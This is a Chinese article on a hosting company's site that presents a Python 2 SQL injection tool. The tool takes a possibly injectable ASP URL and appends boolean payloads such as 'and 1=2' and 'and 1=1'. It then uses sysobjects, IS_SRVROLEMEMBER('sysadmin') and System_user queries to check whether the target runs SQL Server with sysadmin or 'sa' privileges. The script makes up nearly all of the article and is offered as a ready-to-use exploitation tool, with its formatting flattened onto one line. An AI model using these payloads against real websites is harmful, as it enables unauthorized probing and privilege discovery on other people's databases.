香港云主机最佳企业级服务商!

ADSL拨号VPS包含了中国大陆(联通,移动,电信,)

中国香港,国外拨号VPS。

当前位置:云主机 > python >

电信ADSL拨号VPS
联通ADSL拨号VPS
移动ADSL拨号VPS

Python编写检测数据库SA用户的方法


时间:2021-04-29 10:47 作者:admin


本文讲述一个用python/' target='_blank'>python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  #-*- coding: UTF-8 -*-  from sys import exit  from urllib import urlopen  from string import join,strip  from re import search   def is_sqlable():   sql1="%20and%201=2"   sql2="%20and%201=1"   urlfile1=urlopen(url+sql1)   urlfile2=urlopen(url+sql2)   htmlcodes1=urlfile1.read()   htmlcodes2=urlfile2.read()   if not search(judge,htmlcodes1) and search(judge,htmlcodes2):   print "[信息]恭喜!这个URL是有注入漏洞的!n"   print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."    is_SQLServer()   else:   print "[错误]你确定这个URL能用?换个别的试试吧!n"def is_SQLServer():   sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"   urlfile=urlopen(url+sql)   htmlcodes=urlfile.read()   if not search(judge,htmlcodes):   print "[错误]数据库好像不是SQL Server的!n"   else:   print "[信息]确认是SQL Server数据库!n"   print "[信息]开始检测当前数据库用户权限,请耐心等待......"   is_sysadmin()   def is_sysadmin():    sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"   urlfile = urlopen(url+sql)    htmlcodes = urlfile.read()    if not search(judge,htmlcodes):      print "[错误]当前数据库用户不具有sysadmin权限!n"   else:      print "[信息]当前数据库用户具有sysadmin权限!n"     print "[信息]检测当前用户是不是SA,请耐心等待......"     is_sa()   def is_sa():    sql = "%20and%20'sa'=(select%20System_user)";   urlfile = urlopen(url+sql)    htmlcodes = urlfile.read()    if not search(judge,htmlcodes):      print "[错误]当前数据库用户不是SA!n"   else:      print "[信息]当前数据库用户是SA!n"  print "n########################################################################n"  print "            ^o^SQL Server注入利用工具^o^     "  print "           Email: little.bu@hotmail.comn"  print "========================================================================";  url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  if url == '':    print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"    exit(1)   judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  if judge == '':    print "[错误]判断字符串不能为空!"    exit(1)   is_sqlable()
(责任编辑:admin)






帮助中心
会员注册
找回密码
新闻中心
快捷通道
域名登录面板
虚机登录面板
云主机登录面板
关于我们
关于我们
联系我们
联系方式

售前咨询:17830004266(重庆移动)

企业QQ:383546523

《中华人民共和国工业和信息化部》 编号:ICP备00012341号

Copyright © 2002 -2018 香港云主机 版权所有
声明:香港云主机品牌标志、品牌吉祥物均已注册商标,版权所有,窃用必究

云官方微信

在线客服

  • 企业QQ: 点击这里给我发消息
  • 技术支持:383546523

  • 公司总台电话:17830004266(重庆移动)
  • 售前咨询热线:17830004266(重庆移动)